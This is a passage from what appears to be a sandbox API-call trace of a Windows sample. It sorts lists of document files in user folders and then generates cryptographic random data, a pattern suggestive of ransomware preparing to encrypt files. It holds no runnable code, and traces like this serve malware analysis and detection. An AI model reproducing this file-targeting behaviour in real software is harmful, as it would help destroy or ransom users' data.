cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="ZHKgPcRuClqfpQx70d.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="GIwIhnYq\\4aTOLAatL.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount1=-1, lpString2="AtQu0 xTj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\MoqtBms5meoe1w.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps", cchCount1=-1, lpString2="AtQu0 xTj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="N8uU1e.xlsx", cchCount1=-1, lpString2="GIwIhnYq", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="N8uU1e.xlsx", cchCount1=-1, lpString2="AtQu0 xTj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="atEaVS6T.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="atEaVS6T.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="My Pictures", cchCount1=-1, lpString2="F_g z.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="My Pictures", cchCount1=-1, lpString2="atEaVS6T.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount1=-1, lpString2="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount1=-1, lpString2="AE1NPe45_G.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\0L7s8edhd_6mnq.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b", cchCount1=-1, lpString2="AE1NPe45_G.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="M53FxPpcT\\oGJkVukoMxIO6MpIrH.xls", cchCount1=-1, lpString2="F-YPFV_qYj4bfRfXw9yB.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="M53FxPpcT\\oGJkVukoMxIO6MpIrH.xls", cchCount1=-1, lpString2="AE1NPe45_G.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="wnB9v0ottRO9k3_.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="9klODxiFKz0-WlOc t7.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\8quW", cchCount1=-1, lpString2="XRS5ksD", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="XRS5ksD\\8quW", cchCount1=-1, lpString2="9klODxiFKz0-WlOc t7.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="M53FxPpcT", cchCount1=-1, lpString2="dPdybr639pwn.odp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="M53FxPpcT", cchCount1=-1, lpString2="9klODxiFKz0-WlOc t7.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="s_UnG.docx", cchCount1=-1, lpString2="Rr-L433.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="s_UnG.docx", cchCount1=-1, lpString2="6_vMe3CazzKO.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="sZysAGTn.xlsx", cchCount1=-1, lpString2="slFg55xQ.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="sZysAGTn.xlsx", cchCount1=-1, lpString2="6_vMe3CazzKO.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="KZD3FfQJWWhay.docx", cchCount1=-1, lpString2="Da5qX9dUi.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="KZD3FfQJWWhay.docx", cchCount1=-1, lpString2="6_vMe3CazzKO.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="Pkijc OVe1YF8QnT.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="3gZT0e1Jc7KRhrNwc8F.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="qdf-_fT", cchCount1=-1, lpString2="PQcpfPJA3.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="qdf-_fT", cchCount1=-1, lpString2="3gZT0e1Jc7KRhrNwc8F.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Jrdm wCY_KpB5kAazb.docx", cchCount1=-1, lpString2="buu1yiRA_xVu8tVc\\hLAWY-nuLL.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Jrdm wCY_KpB5kAazb.docx", cchCount1=-1, lpString2="3gZT0e1Jc7KRhrNwc8F.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="ZHKgPcRuClqfpQx70d.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ohVGFnet7R0TYcogm.pptx", cchCount1=-1, lpString2="zbK0RkNWW_QYl4NDka.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="19uvJahSx.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="19uvJahSx.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="My Pictures", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount1=-1, lpString2="19uvJahSx.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx", cchCount1=-1, lpString2="19uvJahSx.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="s_UnG.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="0XuPmKuUcJqUgUNn.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\8quW", cchCount1=-1, lpString2="wnB9v0ottRO9k3_.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\8quW", cchCount1=-1, lpString2="0XuPmKuUcJqUgUNn.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="M53FxPpcT", cchCount1=-1, lpString2="XRS5ksD", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD", cchCount1=-1, lpString2="0XuPmKuUcJqUgUNn.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="M-At.docx", cchCount1=-1, lpString2="WPnyp7euOOTod.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="WPnyp7euOOTod.docx", cchCount1=-1, lpString2="0XuPmKuUcJqUgUNn.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="Zrs5Ud.odt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="zbK0RkNWW_QYl4NDka.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ohVGFnet7R0TYcogm.pptx", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ohVGFnet7R0TYcogm.pptx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="0eTc aT.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="0eTc aT.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount1=-1, lpString2="0eTc aT.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="My Pictures", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx", cchCount1=-1, lpString2="0eTc aT.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="19uvJahSx.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="0eTc aT.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="zqdJ P9hDbwBTPl.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.919] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.919] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="ohVGFnet7R0TYcogm.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="aZCuN2.pptx", cchCount1=-1, lpString2="GIwIhnYq\\4aTOLAatL.rtf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="GIwIhnYq\\4aTOLAatL.rtf", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="ZHKgPcRuClqfpQx70d.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="YR5cgi5pBZBxCXpLKz.docx", cchCount1=-1, lpString2="xwucnZa1H0T.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="YR5cgi5pBZBxCXpLKz.docx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OhMb-UaJPoxHiI.pptx", cchCount1=-1, lpString2="GIwIhnYq\\01ty5ZVjiFX.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OhMb-UaJPoxHiI.pptx", cchCount1=-1, lpString2="aZCuN2.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="zbK0RkNWW_QYl4NDka.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="YR5cgi5pBZBxCXpLKz.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="YR5cgi5pBZBxCXpLKz.docx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OhMb-UaJPoxHiI.pptx", cchCount1=-1, lpString2="xwucnZa1H0T.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="xwucnZa1H0T.xlsx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="oAWd.pptx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="zbK0RkNWW_QYl4NDka.xlsx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="YR5cgi5pBZBxCXpLKz.docx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="YR5cgi5pBZBxCXpLKz.docx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="xwucnZa1H0T.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="xwucnZa1H0T.xlsx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="OhMb-UaJPoxHiI.pptx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.920] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="oAWd.pptx", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="oAWd.pptx", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.920] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="YR5cgi5pBZBxCXpLKz.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.921] CryptAcquireContextW (in: phProv=0x1cd810, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd810*=0x3020f0) returned 1 [0053.934] CryptGenRandom (in: hProv=0x3020f0, dwLen=0x10, pbBuffer=0x1cd890 | out: pbBuffer=0x1cd890) returned 1 [0053.934] CryptReleaseContext (hProv=0x3020f0, dwFlags=0x0) returned 1 [0053.934] GetSystemTime (in: lpSystemTime=0x1cd7a8 | out: lpSystemTime=0x1cd7a8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x11, wMilliseconds=0x1af)) [0053.934] SystemTimeToFileTime (in: lpSystemTime=0x1cd7a8, lpFileTime=0x1cd7a0 | out: lpFileTime=0x1cd7a0) returned 1 [0053.934] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd7d0 | out: lpPerformanceCount=0x1cd7d0*=12927458107) returned 1 [0053.934] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x100000) returned 0x38c0040 [0053.935] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10c0) returned 0x3aeef0 [0053.935] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10c0) returned 0x3affc0 [0053.935] RtlAllocateHeap (HeapHandle=0x2e0000, 